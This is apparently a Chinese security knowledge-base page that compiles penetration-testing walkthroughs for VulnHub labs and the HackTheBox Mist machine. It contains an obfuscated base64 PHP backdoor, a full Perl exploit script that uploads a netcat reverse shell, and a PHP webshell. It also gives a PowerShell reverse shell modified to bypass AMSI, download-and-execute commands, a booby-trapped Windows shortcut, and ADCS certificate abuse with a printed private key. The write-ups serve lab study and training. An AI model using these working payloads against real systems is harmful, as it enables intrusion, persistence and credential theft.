eval( $b('JHVwbG9hZGRpciA9ICcuLyc7DQokdXBsb2FkZmlsZSA9ICR1cGxvYWRkaXIgLiBiYXNlbmFtZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pOw0KDQplY2hvICI8cD4iOw0KDQppZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRmaWxlKSkgew0KICBlY2hvICJGaWxlIGlzIHZhbGlkLCBhbmQgd2FzIHN1Y2Nlc3NmdWxseSB1cGxvYWRlZC5cbiI7DQp9IGVsc2Ugew0KICAgZWNobyAiVXBsb2FkIGZhaWxlZCI7DQp9DQoNCmVjaG8gIjwvcD4iOw0KZWNobyAnPHByZT4nOw0KZWNobyAnSGVyZSBpcyBzb21lIG1vcmUgZGVidWdnaW5nIGluZm86JzsNCnByaW50X3IoJF9GSUxFUyk7DQpwcmludCAiPC9wcmU+Ijs=') );
?>
```

可以看到py脚本上传成功

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub30.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub31.jpg)

下面msf开启监听，并且执行py脚本

``` bash
www-data@drunkadm:/var/www/images$ ls
ls
30ec590e9fe5ee51c2dd36ac1bfb9c3d.jpg  aa63b1c597b45e4f1f883724d0f8dfbe.jpg
3df5758863d650e59525cf2aa0676230.png  fa253b94faf3ccadda8719fa6ce30fb4.jpg
60f9e780f17680102d7869842bde4050.php  index.html
8dc053a3ed0adf03994f96347d20d9e5.png  pload.py
a361463fc252b94026673a556a177ee7.php  public_html
www-data@drunkadm:/var/www/images$ python pload.py
```

``` bash
[+] Starting database
                                                  

      .:okOOOkdc'           'cdkOOOko:.                                                        
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.                                                      
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:                                                     
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'                                                    
  oOOOOOOOO.    .oOOOOoOOOOl.    ,OOOOOOOOo                                                    
  dOOOOOOOO.      .cOOOOOc.      ,OOOOOOOOx                                                    
  lOOOOOOOO.         ;d;         ,OOOOOOOOl                                                    
  .OOOOOOOO.   .;           ;    ,OOOOOOOO.                                                    
   cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc                                                     
    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo                                                      
     lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl                                                       
      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;                                                        
       .dOOo   .OOOOocccxOOOO.   xOOd.                                                         
         ,kOl  .OOOOOOOOOOOOO. .dOk,                                                           
           :kk;.OOOOOOOOOOOOO.cOk:                                                             
             ;kOOOOOOOOOOOOOOOk:                                                               
               ,xOOOOOOOOOOOx,                                                                 
                 .lOOOOOOOl.                                                                   
                    ,dOd,                                                                      
                      .                                                                        

       =[ metasploit v5.0.62-dev                          ]
+ -- --=[ 1949 exploits - 1090 auxiliary - 334 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.84.135
LHOST => 192.168.84.135
msf5 exploit(multi/handler) > set LPORT 6688
LPORT => 6688
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.84.135:6688 
[*] Sending stage (53755 bytes) to 192.168.84.138
[*] Meterpreter session 1 opened (192.168.84.135:6688 -> 192.168.84.138:47559) at 2019-12-09 03:22:32 -0500

meterpreter > getuid
Server username: www-data
meterpreter > ls
Listing: /var/www/images                                                                                                                                                                                                                   
========================                                                                                                                                                                                                                   
                                                                                                                                                                                                                                           
Mode              Size    Type  Last modified              Name                                                                                                                                                                            
----              ----    ----  -------------              ----                                                                                                                                                                            
100644/rw-r--r--  143     fil   2012-03-03 02:08:18 -0500  .htaccess                                                                                                                                                                       
100644/rw-r--r--  30099   fil   2019-12-08 21:14:52 -0500  30ec590e9fe5ee51c2dd36ac1bfb9c3d.jpg                                                                                                                                            
100644/rw-r--r--  166311  fil   2012-03-06 23:57:20 -0500  3df5758863d650e59525cf2aa0676230.png                                                                                                                                            
100644/rw-r--r--  820     fil   2019-12-09 03:03:44 -0500  60f9e780f17680102d7869842bde4050.php                                                                                                                                            
100644/rw-r--r--  7205    fil   2012-03-07 00:00:17 -0500  8dc053a3ed0adf03994f96347d20d9e5.png                                                                                                                                            
100644/rw-r--r--  820     fil   2019-12-09 03:01:30 -0500  a361463fc252b94026673a556a177ee7.php                                                                                                                                            
100644/rw-r--r--  21764   fil   2012-03-03 23:45:46 -0500  aa63b1c597b45e4f1f883724d0f8dfbe.jpg                                                                                                                                            
100644/rw-r--r--  30099   fil   2019-12-09 00:42:11 -0500  fa253b94faf3ccadda8719fa6ce30fb4.jpg                                                                                                                                            
100644/rw-r--r--  0       fil   2012-03-03 00:48:29 -0500  index.html                                                                                                                                                                      
100644/rw-r--r--  454     fil   2019-12-09 03:04:56 -0500  pload.py                                                                                                                                                                        
40755/rwxr-xr-x   4096    dir   2019-12-09 01:51:31 -0500  public_html
meterpreter > shell
Process 2927 created.
Channel 3 created.
/bin/sh: can't access tty; job control turned off
$ ls
30ec590e9fe5ee51c2dd36ac1bfb9c3d.jpg  aa63b1c597b45e4f1f883724d0f8dfbe.jpg
3df5758863d650e59525cf2aa0676230.png  fa253b94faf3ccadda8719fa6ce30fb4.jpg
60f9e780f17680102d7869842bde4050.php  index.html
8dc053a3ed0adf03994f96347d20d9e5.png  pload.py
a361463fc252b94026673a556a177ee7.php  public_html
$
```

成功弹回shell

#### eg:

下面再附上希腊某位大佬的傻瓜式通关脚本(.pl后缀的perl脚本)：

``` bash
use LWP::UserAgent;
use Digest::MD5 qw( md5_hex );
 
# -----------------------------------------------------------------------------------------
#  HangOver v.1 : Remote exploitation script for "Drunk Admin" Web Hacking Challenge.
# -----------------------------------------------------------------------------------------
#
#  WARNING : Don't drink and code! 😉
#  mr.pr0n - https://ghostinthelab.wordpress.com - (@_pr0n_)
#
# -----------------------------------------------------------------------------------------
#  Many thanks to Anestis Bechtsoudis (@anestisb) for this challenge.
# -----------------------------------------------------------------------------------------
 
print "+-----------------------------------+\n";
print "| HangOver v.1 - Run(2)Shell Script |\n";
print "+-----------------------------------+\n";
 
print "\nEnter the IP address of the target box (e.g.: http://192.168.178.39)";
print "\n> ";
$target=<STDIN>;
chomp($target);
$target = "http://".$target if ($target !~ /^http:/);
 
print "\nEnter the IP address for the reverse connection (e.g.: 192.168.178.27)";
print "\n> ";
$ip=<STDIN>;
chomp($ip);
 
print "\nEnter the port to connect back on (e.g.: 4444)";
print "\n> ";
$port=<STDIN>;
chomp($port);
 
$payload =
'<?php'."\n".
'$a = "nc";'."\n".
'$b = " -e ";'."\n".
'$c = "/bin/sh '.$ip.' '.$port.'";'."\n".
'$cmd = $a.$b.$c;'."\n".
'$dead = "echo ex";'."\n".
'$beef = "ec(\'".$cmd ."\');";'."\n".
'$send = $dead.$beef;'."\n".
'echo eval($send);'."\n".
'?>';
 
$filename = int(rand()*10110110).".jpg%00.php";
open FILE, ">$filename" or die $!;
print FILE $payload;
close FILE;
 
print "\n[+]Uploading the shell to server...\n";
system('curl -s -b trypios=uploader -F image=@'.$filename.' -F "Submit=Host My Awesome Image" '.$target.':8880/upload.php');
 
$nc= "nc -lvp $port";
system("xterm -e $nc &");
 
$md5 = md5_hex("$filename");
 
print "\n[+]Check for the shell:\n";
print $target.":8880/images/".$md5.".php\n\n";
```

<font color="red">***The end,to be continue...***</font>
<!-- kb:end vulnhub-Drunk-Admin-Web-Hacking-Challenge-1 -->

</details>

<a id="case-vulnhub-jis-ctf-vulnupload"></a>

## 后台资料与文件所有者枚举

页面和提示中的账户先连接上传执行，再按文件所有者定位后续用户材料。原始上传页面、请求和权限变化一起保留。

<p class="kb-provenance">来源 vulnhub-JIS-CTF-VulnUpload · 原记录 2019-12-07 · 4 个代码块 · 14 处图片引用</p>

<details class="kb-evidence" id="record-vulnhub-jis-ctf-vulnupload">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start vulnhub-JIS-CTF-VulnUpload -->

i春秋平台的ctf题目已经被我做的差不多了，最近实在是手痒，又在网上搜了搜练习靶场，发现其它ctf平台的题目都不如i春秋，然后我看到有很多网友在玩vulnhub靶场，然后我从网上了解了下vulnhub，确实不错，类似于ctf，难度也可以，每个靶场有多个flag，[vulnhub官网](https://www.vulnhub.com/)

vulnhub每隔一段时间就会更新新的靶机，到现在其官网上可供下载的靶机已经有380个左右了，



![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub1.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub2.jpg)

本人索性把380个左右的靶机全部下载下来了。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/exiting.jpg)

下面开始记录靶机的walkthrough

#### JIS-CTF: VulnUpload

官网下载:
 - Download: [http://www.mediafire.com/file/t5b4nkynxkm9hj2/CTF01.ova](http://www.mediafire.com/file/t5b4nkynxkm9hj2/CTF01.ova)
 - Download (Mirror): [https://download.vulnhub.com/jisctf/JIS-CTF-VulnUpload-CTF01.ova](https://download.vulnhub.com/jisctf/JIS-CTF-VulnUpload-CTF01.ova)
 - Download (Torrent): [https://download.vulnhub.com/jisctf/JIS-CTF-VulnUpload-CTF01.ova.torrent ](https://download.vulnhub.com/jisctf/JIS-CTF-VulnUpload-CTF01.ova.torrent )

描述:

 - 难度: 初学者
 - 说明: 这台机器上有五个标志。 尝试找到它们。 查找所有标志平均需要1.5个小时
 - 仅与VirtualBox一起使用


#### VMware网络配置

下面详细说明在vmware上的配置方法

靶机的账号口令为： technawi/3vilH@ksor
vmware打开虚拟机后登录然后更改root用户的密码
``` bash
sudo passwd root
```
然后输入密码3vilH@ksor，根据提示重置root用户的密码，进入超级用户后，执行下面命令。
``` bash
sudo ifconfig ens33 up //启用网卡，然后再通过 ifconfig -a 看，发现 没有IP

dhclient ens33  // 分配IP
```
即可成功获取ip，记住，靶机和kali linux的vmware的网络都要设置为[自定义：特定虚拟网络的<VMnet8(NAT模式)>]

#### 开始渗透

主机发现

``` bash
nmap -sn -v 192.168.84.0/24
```
发现靶机的ip地址:192.168.84.136

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub3.jpg)

进一步扫描

``` bash
nmap -A -v -sS -Pn -T4 --script=vuln 192.168.84.136
```
得到如下信息

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub4.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub5.jpg)

 - flag1:

打开robots.txt中的flag

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub6.jpg)

 - flag2:

地址栏输入http://ip/admin_area/,右键查看源码得到第二个flag

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub7.jpg)

 - flag3:

从刚才第二个flag的地方得到管理员的账号密码，地址栏打开http://ip/login.php登录

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub8.jpg)

直接上冰蝎

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub9.jpg)

翻到/var/www/html/目录下面，看到一个hint.txt和flag.txt,flag.txt我们apache的组是无法进行然后操作的，但是hint.txt可以读取，

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub10.jpg)

 - flag4:

第三个flag提示用technawi用去读取flag.txt文件，可以在隐藏文件中找到用户的信息

启动shell的命令行模式，输入命令find / -user 'technawi' 2>/dev/null, 2>/dev/null是过滤掉类似没有权限的信息

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub11.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub12.jpg)

 - flag5:

按照第四个flag的提示，用里面的账号密码去登录靶机ssh

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub13.jpg)

<font color="red">***The end,to be continue...***</font>
<!-- kb:end vulnhub-JIS-CTF-VulnUpload -->

</details>




# ESC13 组映射与多阶段域权限

Mist 的长链涉及多个主机、服务账户和证书策略。本章沿原实验的身份切换顺序保留全部材料，着重核对 OID 组映射、gMSA 读取和证书模板之间的实际权限关系。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/adcs-advanced/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Web 入口、认证 Relay 和 Shadow Credentials 分别对应不同执行身份。

ESC13 两次转换的模板、策略和目标组需要逐次核对。

原记录中的清理回滚、隧道、凭据容器和 DCSync 结果都随链保留。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [多次账户转换与 ESC13 组映射](#case-mist) | mist | ADCS、ESC13、gMSA、Shadow Credentials |

<a id="case-mist"></a>

## 多次账户转换与 ESC13 组映射

原长链从 Pluck、认证请求和 Shadow Credentials 到 gMSA，再两次使用证书策略组映射。每个中间身份、权限回滚、证书与会话证据按原顺序保留。

<p class="kb-provenance">来源 mist · 原记录 2024-10-27 · 72 个代码块 · 11 处图片引用</p>

<details class="kb-evidence" id="record-mist">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start mist -->

#### 简述

本文是Insane难度的HTB Mist机器的域渗透部分，其中CVE-2024-9405 + PetitPotam Attack + shadow credential + s4u impersonat + reading GMSA password + abusing AddKeyCredentialLink + exploiting ADCS ESC 13 twice等域渗透提权细节是此box的特色，主要参考[0xdf's blog Mist walkthrough](https://0xdf.gitlab.io/2024/10/26/htb-mist.html)记录这篇博客加深记忆和理解，及供后续做深入研究查阅，备忘。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Mist.png)



#### 信息收集
#### nmap

``` bash
fdluci@hacky$ nmap -p- --min-rate 10000 10.10.11.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-21 15:46 EDT
Nmap scan report for 10.10.11.17
Host is up (0.089s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds
fdluci@hacky$ nmap -sCV -p 80 10.10.11.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-21 15:50 EDT
Nmap scan report for 10.10.11.17
Host is up (0.086s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-generator: pluck 4.7.18
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-title: Mist - Mist
|_Requested resource was http://10.10.11.17/?file=mist

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.32 seconds
```

#### Website - TCP 80

发现站点使用了[Pluck CMS](https://github.com/pluck-cms/pluck/wiki)4.7.18版本

#### Shell as svc_web on MS01
#### 恢复admin密码
#### 漏洞背景

一些研究发现[CVE-2024-9405](https://nvd.nist.gov/vuln/detail/CVE-2024-9405)，一个在这个版本的Pluck中文件读取的漏洞。这篇来自m3n0sd0n4ld的博客文章[Pluck CMS v.4.7.18 - Local File Inclusion unauthenticated (CVE-2024-9405)](https://m3n0sd0n4ld.github.io/patoHackventuras/cve-2024-9405)展示了细节。/data/modules/albums/albums_getimage.php?image=[filename]路径在返回原始文件之前不检查身份验证。在Mist发布的时候，这篇文章还不存在，尽管在Pluck GitHub上有这个issue[Inclusion of files without authentication #122](https://github.com/pluck-cms/pluck/issues/122)。

#### 目录发现 - 文件读取

``` bash
┌[root☮kali]-(~/hackthebox/machine/mist)
└> curl http://10.10.11.17/data/modules/albums/albums_getimage.php\?image\=mist.php
<?php
$album_name = 'Mist';
?>30#                                                                                                                                                                     ┌[root☮kali]-(~/hackthebox/machine/mist)
└> curl http://10.10.11.17/data/modules/albums/albums_getimage.php\?image\=admin_backup.php
<?php
$ww = 'c81dde783f9543114ecd9fa14e8440a2a868bfe0bacdf14d29fce0605c09d5a2bcd2028d0d7a3fa805573d074faa15d6361f44aec9a6efe18b754b3c265ce81e';
?>146
```

第一个看起来像是CMS的元数据。后者看起来像一个hash。$ww是用于在PluckCMS中保存管理hash的变量。

#### Crackstation

[CrackStation](https://crackstation.net/)将其识别为SHA512并立即将其破解：

``` bash
lexypoo97
```

然后在/login.php使用账号密码登录

#### Webshell Pluck Module
#### Create Module

``` bash
fdluci@hacky$ cat modluci/luci.php
<?php system($_REQUEST['cmd']); ?>
```

然后使用zip打包

``` bash
┌[root☮kali]-(~/hackthebox/machine/mist)
└> zip -r notevil.zip modluci
  adding: modluci/ (stored 0%)
  adding: modluci/luci.php (stored 0%)
```

#### Upload Module

在Pluck管理面板的"选项"下有一个"管理模块"选项：

点击"Install a module…"，然后选择notevil.zip

现在/data/modules目录下有notevil

``` bash
http://10.10.11.17/data/modules/

http://10.10.11.17/data/modules/notevil/modluci/luci.php?cmd=whoami
ms01\svc_web
```

#### Bypass AMSI

[AMSI](https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal)是一项内置在Windows中的技术，旨在保护Windows免受恶意PowerShell（和其他攻击）的攻击。很可能是它挡住了我的PowerShell revshell。

幸运的是，它是基于签名的。绕过它的一个技巧（至少在撰写本文时）是从revshells.com获取PowerShell #2并更改所有变量名称。

 - rev.ps1

``` bash
$c = New-Object Net.Sockets.TCPClient('10.10.14.22',444);$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$ssb = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($ssb,0,$ssb.Length);$s.Flush()};$c.Close()
```

``` bash
python -m http.server 8081

POST /data/modules/notevil/modluci/luci.php HTTP/1.1
Host: 10.10.11.17
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=oesq5ctuijids3s6qndvpimgrc
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 92


cmd=powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.22/rev.ps1')
```

``` bash
~/hackthebox/machine/mist❯❯❯ rlwrap -cAr nc -lvnp 444
listening on [any] 444 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.11.17] 56245

PS C:\xampp\htdocs\data\modules\notevil\modluci> whoami
ms01\svc_web
```

#### Shell as Brandon.Keywarp on MS01
#### Enumeration
#### Host

该主机不是主要主机，而是运行在Mist上的虚拟机。IP地址为192.168.100.101，主机名为MS01。

``` bash
PS C:\xampp\htdocs\data\modules\notevil\modluci> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.100.101
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.100.100
PS C:\> hostname
MS01
```

以下目录可写

``` bash
PS C:\Common Applications> ls

    Directory: C:\Common Applications

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/21/2024   2:41 PM             14 luci.lnk
-a----          5/8/2021   1:15 AM           1118 Calculator.lnk
-a----          5/7/2021   3:14 PM           1175 Notepad.lnk
-a----          5/7/2021   3:15 PM           1171 Wordpad.lnk
```

#### 恶意链接

我将用一个恶意链接覆盖通用应用程序目录中的一个链接，看看是否有人点击它。这篇文章[Windows Shortcuts With PowerShell — How To Make, Customize And Point Them To Places](https://medium.com/@dbilanoski/how-to-tuesdays-shortcuts-with-powershell-how-to-make-customize-and-point-them-to-places-1ee528af2763)讨论了如何用PowerShell制作.link文件。

``` bash
PS C:\Common Applications> $WScriptShell = New-Object -ComObject WScript.Shell
PS C:\Common Applications> $Shortcut = $WScriptShell.CreateShortcut("C:\Common Applications\Notepad.lnk")
PS C:\Common Applications> $Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
PS C:\Common Applications> $Shortcut.Arguments = "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.22:888/rev.ps1')"
PS C:\Common Applications> $Shortcut.Save()
```

片刻后返回了一个新的shell

``` bash
┌[root☮kali]-(~/hackthebox/machine/mist)
└> rlwrap -cAr nc -lvnp 444
listening on [any] 444 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.11.17] 56280

PS C:\Windows\system32> whoami
mist\brandon.keywarp
```

#### Auth as MS01$
#### Bloodhound
#### 收集信息

现在我有了一个域账户，我要收集侦Bloodhound的数据。获取[SharpHound最新版本](https://github.com/BloodHoundAD/SharpHound/releases)，将.exe上传到MS01，并运行它：

``` bash
.\sharphound.exe -c All
```

使用smbserver.py将20241026152607_BloodHound.zip文件拷贝到本地虚拟机

``` bash
impacket-smbserver -smb2support share . -username fd -password fd

net use \\10.10.14.22\share /u:fd fd

copy 20241026152607_BloodHound.zip \\10.10.14.22\share\
```

#### 文件提取

``` bash
fdluci@hacky$ curl -L https://ghst.ly/getbhce | BLOODHOUND_PORT=8888 docker compose -f - up
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   190  100   190    0     0   1701      0 --:--:-- --:--:-- --:--:--  1711
100  3784  100  3784    0     0  10594      0 --:--:-- --:--:-- --:--:-- 10594
[+] Running 3/3
 ✔ Container mist-10101117-graph-db-1    Running                                                                                                                     0.0s
 ✔ Container mist-10101117-app-db-1      Running                                                                                                                     0.0s
 ✔ Container mist-10101117-bloodhound-1  Recreated                                                                                                                   0.1s
Attaching to app-db-1, bloodhound-1, graph-db-1
bloodhound-1  | {"level":"info","time":"2024-10-23T20:32:49.411226832Z","message":"Reading configuration found at /bloodhound.config.json"}
bloodhound-1  | {"level":"info","time":"2024-10-23T20:32:49.411647473Z","message":"Logging configured"}
bloodhound-1  | {"level":"info","time":"2024-10-23T20:32:49.446486924Z","message":"No database driver has been set for migration, using: neo4j"}
bloodhound-1  | {"level":"info","time":"2024-10-23T20:32:49.446547825Z","message":"Connecting to graph using Neo4j"}
bloodhound-1  | {"level":"info","time":"2024-10-23T20:32:49.447226875Z","message":"Starting daemon Tools API"}
bloodhound-1  | {"level":"info","time":"2024-10-23T20:32:49.450835283Z","message":"This is a new SQL database. Initializing schema..."}
bloodhound-1  | {"level":"info","time":"2024-10-23T20:32:49.450845528Z","message":"Creating migration schema..."}
b
...[snip]...
```

打印输出管理员密码: admin/vgeHwpCRUiLlPZ0qFnYtjMMBBubby4zs, "Administration" –> "File Injest"

#### 分析

在"Explore"选项卡上，搜索Brandon.Keywarp并标记为已拥有。查看"Outbound Object Control"，并注意到BloodHound-CE也显示证书：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Mist1.png)

看起来域用户的所有成员都可以使用Mist-DC01-CA注册一些模板。

#### Recover Brandon.Keywrap NTLM
#### Overview

枚举以便继续，使用Brandon.Keywrap的密码或NTLM hash会容易得多。为此，我将：

 - 使用certify.exe为用户请求证书。
 - Openssl更改生成的证书的格式
 - Rubeus.exe使用证书获取NTLM hash。

从[SharpCollection](https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.5_Any)中获取certify.exe和Rubeus.exe，并将它们上传到Mist的C:\xampp\htdocs\files中。

#### Get Certificate

如果没有运行Bloodhound，我也可以从Certify.exe find /enrollable中获得模板和CA信息的列表，它将列出该用户可用的各种证书模板：

``` bash
PS C:\xampp\htdocs\files> .\Certify.exe find /enrollable

[*] Listing info about the Enterprise CA 'mist-DC01-CA'

    Enterprise CA Name            : mist-DC01-CA
    DNS Hostname                  : DC01.mist.htb
    FullName                      : DC01.mist.htb\mist-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=mist-DC01-CA, DC=mist, DC=htb
    Cert Thumbprint               : A515DF0E980933BEC55F89DF02815E07E3A7FE5E
    Cert Serial                   : 3BF0F0DDF3306D8E463B218B7DB190F0
    Cert Start Date               : 2/15/2024 7:07:23 AM
    Cert End Date                 : 2/15/2123 7:17:23 AM
    Cert Chain                    : CN=mist-DC01-CA,DC=mist,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               MIST\Domain Admins            S-1-5-21-1045809509-3006658589-2426055941-512
      Allow  ManageCA, ManageCertificates               MIST\Enterprise Admins        S-1-5-21-1045809509-3006658589-2426055941-519
    Enrollment Agent Restrictions : None
```

第一个可用的模板名为User：

``` bash
    CA Name                               : DC01.mist.htb\mist-DC01-CA
    Template Name                         : User
    Schema Version                        : 1
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Encrypting File System, Secure Email
    mspki-certificate-application-policy  : <null>
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MIST\Domain Admins            S-1-5-21-1045809509-3006658589-2426055941-512
                                      MIST\Domain Users             S-1-5-21-1045809509-3006658589-2426055941-513
                                      MIST\Enterprise Admins        S-1-5-21-1045809509-3006658589-2426055941-519
      Object Control Permissions
        Owner                       : MIST\Enterprise Admins        S-1-5-21-1045809509-3006658589-2426055941-519
        WriteOwner Principals       : MIST\Domain Admins            S-1-5-21-1045809509-3006658589-2426055941-512
                                      MIST\Enterprise Admins        S-1-5-21-1045809509-3006658589-2426055941-519
        WriteDacl Principals        : MIST\Domain Admins            S-1-5-21-1045809509-3006658589-2426055941-512
                                      MIST\Enterprise Admins        S-1-5-21-1045809509-3006658589-2426055941-519
        WriteProperty Principals    : MIST\Domain Admins            S-1-5-21-1045809509-3006658589-2426055941-512
                                      MIST\Enterprise Admins        S-1-5-21-1045809509-3006658589-2426055941-519
```

使用该模板获取证书：

``` bash
PS C:\xampp\htdocs\files> .\Certify.exe request /ca:DC01\mist-DC01-CA /template:User

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.1.0

[*] Action: Request a Certificates

[*] Current user context    : MIST\Brandon.Keywarp
[*] No subject name specified, using current context as subject.

[*] Template                : User
[*] Subject                 : CN=Brandon.Keywarp, CN=Users, DC=mist, DC=htb

[*] Certificate Authority   : DC01\mist-DC01-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 61

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAzJpOBcCAh3agazJu4VIwkfi9usHZ2i1ajPAvm3j+SOAFGzAE
0YOnyEXMLaSMr/YE2Amnjgcdx8Zf6Zu5h2EfAvuF+GpjopqWCJNj+H+0Yg+4UwSX
nLCOhCSTsaUXUiBsD8va27uhkHV/QFRsjvD6wLxk3r6F61iysUNooCZuOTx/Gc51
6QQlGbR3Htb447C50jme4gvwz8fvB7XujY8TZDuaa1IvCAacgGz40fCnzlHx/PRV
SPazon4VUPLc3LQP2hHf6p0uBdv4N8Q17jz2uCQUrfrhrGYOSllATqm9AzAFolEo
3EtPz2tS5Yx5UDp4GJCepdShEqIfVvRnZa0M3QIDAQABAoIBAQC8jyCEsIpDTZI9
+LazNTnJ7UF9khWhutaOuPRHBlTi+IH8Ml7eb8T7D0hCcDmwGL0SFKO0gt5xNGNE
Od3b5CfeactnyzSTsH/A24TwiVDGZtJqv/qxzw0ov0TWHN3HNFYioK7MfrlBFuf1
c1iwy2lsorMbjN6CrLXSI9uSbJh8aZrr7CH84ewFxivvkBTkPaJzdfgVetMcwkW0
y/PgxicsB8l/Xg0P9vqjcwfxcV+ydCOQCgZVeSHkPHOZR6Yd1g1B0EG5W4uB66XW
+pftEOjKftBobJ5InZ/3f1KG7KC2vpScaKRrBpbwp775SagDZRbxBXNe7Kz7nUdE
